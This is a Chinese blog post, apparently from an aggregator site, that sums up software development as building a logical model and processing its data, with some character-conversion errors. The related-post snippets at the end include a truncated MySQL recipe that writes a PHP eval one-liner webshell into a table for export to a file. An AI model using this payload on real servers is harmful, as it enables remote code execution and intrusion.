用一句話表達的軟體開發精髓

2021-04-16 03:11:51 字數 1008 閱讀 2791

總括本人十幾年的軟體開發經驗,通過對軟體開發的感悟,覺得可以概括其精髓如下:

1、建立邏輯模型;

2、處理邏輯模型的資料;

關於建立邏輯模型

我們開發軟體,肯定是為了完成某個客觀任務,這就要求我們的軟體表達並處理現實中的某項任務,這個現實任務,就是乙個客觀存在的事物,也就是說,乙個客觀模型;但計算機不可能直接處理該客觀模型,必須相應地建立乙個邏輯模型;

邏輯模型建立得好與否,唯一的標準系是否準確地反映了客觀模型,要做到這一點,就必須做好如下兩項工作:

1)我們對所要處理的客觀模型描述是否全面、詳細;

2)我們對客觀模型的分析是否到位,理解客觀模型的本質,是否對客觀模型進行完整的歸納;

通過客觀模型的歸納和抽象,得出計算機能夠處理的邏輯模型;

處理邏輯模型的資料

在軟體開發設計中,這一項工作是否做得好,最直接的標準是:邏輯物件的資料處理起來是否方便;

邏輯模式建立起來了,需要確定如何組織、表達邏輯模型中的資料,在軟體設計中,就涉及到我們所熟悉的資料詞典、物件定義、資料庫結構,並且包括陣列結構、資料集合、屬性和公用變數等;

處理邏輯模型的資料,也涉及到一系列的相關業務演算法,演算法設計是否合理,是否如實地表達業務需求,並能夠基於邏輯模型的資料進行運算。

邏輯模型的資料表達,在軟體結構設計的不同層面中,也有相應不同的表達方式,如在資料層,通過資料庫**,表達並儲存邏輯模型的資料,但在業務層,則必須通過例項化的類物件、結構、陣列表達邏輯模型的資料。

總結

目前關於軟體結構設計和實現的方法,大家常提及的就是:系統需求說明、系統設計說明、模組設計說明、資料庫設計等,這些設計文件的表達方式每個公司、開發團隊有不同的要求,並且相對於軟體專案的規模,這些設計文件有所取捨,但是,軟體開發,有其內在的精髓,其精髓總結起來就是:

建立邏輯模型,並處理邏輯模型中的資料。

在實際的軟體開發中,記住並領悟這句話,思路會保持明朗清晰的。

mysql 匯出一句話 MySQL 匯出一句話

drop table if exists temp 如果存在temp就刪掉 create table temp cmd text not null 建立temp表,裡面就乙個cmd欄位 insert into temp cmd values php eval post cmd 把一句話木馬插入到te...

一句話提醒

1 在c 中,父窗體要訪問子窗體變數,需將子窗體變數設為public才能訪問。2 每 5 秒重新整理頁面 5 秒後重定向頁面 3 block 此元素將顯示為塊級元素,此元素前後會帶有換行符。inline 預設。此元素會被顯示為內聯元素,元素前後沒有換行符。4 document.getelementb...

一句話命令

bash 型別 wget r nc np 分片20m 上傳 bypy vvv s 20m upload mac下檢視埠占用 nettop nm tcp brew brew uninstall zsh brew services list brew services start brew servic...